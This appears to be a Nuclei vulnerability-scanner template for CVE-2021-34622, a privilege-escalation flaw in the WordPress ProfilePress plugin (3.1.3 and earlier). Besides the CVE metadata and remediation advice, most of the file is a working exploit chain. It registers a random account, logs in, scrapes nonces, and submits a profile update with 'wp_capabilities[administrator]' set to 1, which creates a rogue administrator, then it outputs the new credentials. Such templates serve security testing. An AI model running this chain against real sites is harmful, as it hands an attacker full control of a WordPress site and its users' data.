WordPress ProfilePress <= 3.1.3 - Privilege Escalation

id: CVE-2021-34622

info:
  name: WordPress ProfilePress <= 3.1.3 - Privilege Escalation
  author: Sourabh-Sahu
  severity: critical
  description: |
    ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including `wp_capabilities`, during profile updates. This enables a user to escalate their privileges to administrator.
  impact: |
    Authenticated users can escalate their privileges to administrator by supplying arbitrary usermeta fields during profile updates, leading to complete WordPress site takeover.
  remediation: |
    Upgrade to ProfilePress version 3.1.4 or later.
  reference:
    - https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34622
  classification:
    cve-id: CVE-2021-34622
    epss-score: 0.0493
    epss-percentile: 0.92207
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-269
    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: properfraction
    product: profilepress
    fofa-query: body="/wp-content/plugins/profilepress"
  tags: cve,cve2021,wordpress,wp-plugin,wp,profilepress,privilege-escalation,authenticated,intrusive,vkev,vuln

variables:
  username: "user_{{to_lower(rand_base(5))}}"
  password: "pass_{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  boundary: "WebKitFormBoundarypRyCNwmSkLdfNd7E"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        Accept-Encoding: gzip

        --{{boundary}}
        Content-Disposition: form-data; name="reg_username"

        {{username}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_email"

        {{email}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_password"

        {{password}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_password_present"

        true
        --{{boundary}}
        Content-Disposition: form-data; name="reg_first_name"

        {{firstname}}
        --{{boundary}}
        Content-Disposition: form-data; name="reg_last_name"

        {{lastname}}
        --{{boundary}}
        Content-Disposition: form-data; name="action"

        pp_ajax_signup
        --{{boundary}}--

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=pp_ajax_login&data=login_username%3D{{username}}%26login_password%3D{{password}}%26login_form_id%3D1

  - raw:
      - |
        GET /account/edit-profile/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: wpnonce
        group: 1
        regex:
          - 'name="_wpnonce"\s+value="([^"]+)"'
          - "name='_wpnonce'\\s+value='([^']+)'"
        internal: true

      - type: regex
        name: nonce
        group: 1
        regex:
          - '"nonce"\s*:\s*"([^"]+)"'
          - 'pp_ajax_form\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}
        Accept-Encoding: gzip

        --{{boundary}}
        Content-Disposition: form-data; name="reg_username"

        {{username}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_email"

        {{email}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_first_name"

        {{firstname}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_last_name"

        {{lastname}}
        --{{boundary}}
        Content-Disposition: form-data; name="eup_display_name"

        {{firstname}} {{lastname}}
        --{{boundary}}
        Content-Disposition: form-data; name="_wpnonce"

        {{wpnonce}}
        --{{boundary}}
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        --{{boundary}}
        Content-Disposition: form-data; name="ppmyac_form_action"

        updateProfile
        --{{boundary}}
        Content-Disposition: form-data; name="action"

        pp_ajax_editprofile
        --{{boundary}}
        Content-Disposition: form-data; name="is_melange"

        true
        --{{boundary}}
        Content-Disposition: form-data; name="wp_capabilities[administrator]"

        1
        --{{boundary}}--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'success":true'
          - 'Account was updated successfully'
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - 'email'
          - 'username'
          - 'password'